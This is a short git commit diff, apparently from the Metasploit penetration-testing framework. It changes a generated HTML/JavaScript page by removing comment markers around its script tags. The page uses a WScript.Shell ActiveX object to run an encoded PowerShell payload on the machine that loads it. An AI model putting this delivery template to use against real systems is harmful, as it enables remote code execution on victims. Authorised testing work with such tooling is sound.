Remove //

bug/bundler_fix
wchen-r7 2016-02-25 22:20:48 -06:00
parent 4cea6c0236
commit 6188da054d
1 changed files with 2 additions and 2 deletions

View File

@ -165,10 +165,10 @@ var #{var_fsobj_file} = #{var_fsobj}.OpenTextFile(#{var_writedir} + "\\\\" + "#{
def psh_technique(var_shellobj, p)
cmd = Rex::Text.to_hex(cmd_psh_payload(payload.encoded, payload_instance.arch.first))
js_content = %Q|
//<html><head></head><body><script>
<html><head></head><body><script>
var #{var_shellobj} = new ActiveXObject("WScript.Shell");
#{var_shellobj}.run(unescape("#{cmd}"), 1, true);
//</script></html>
</script></html>
|
js_content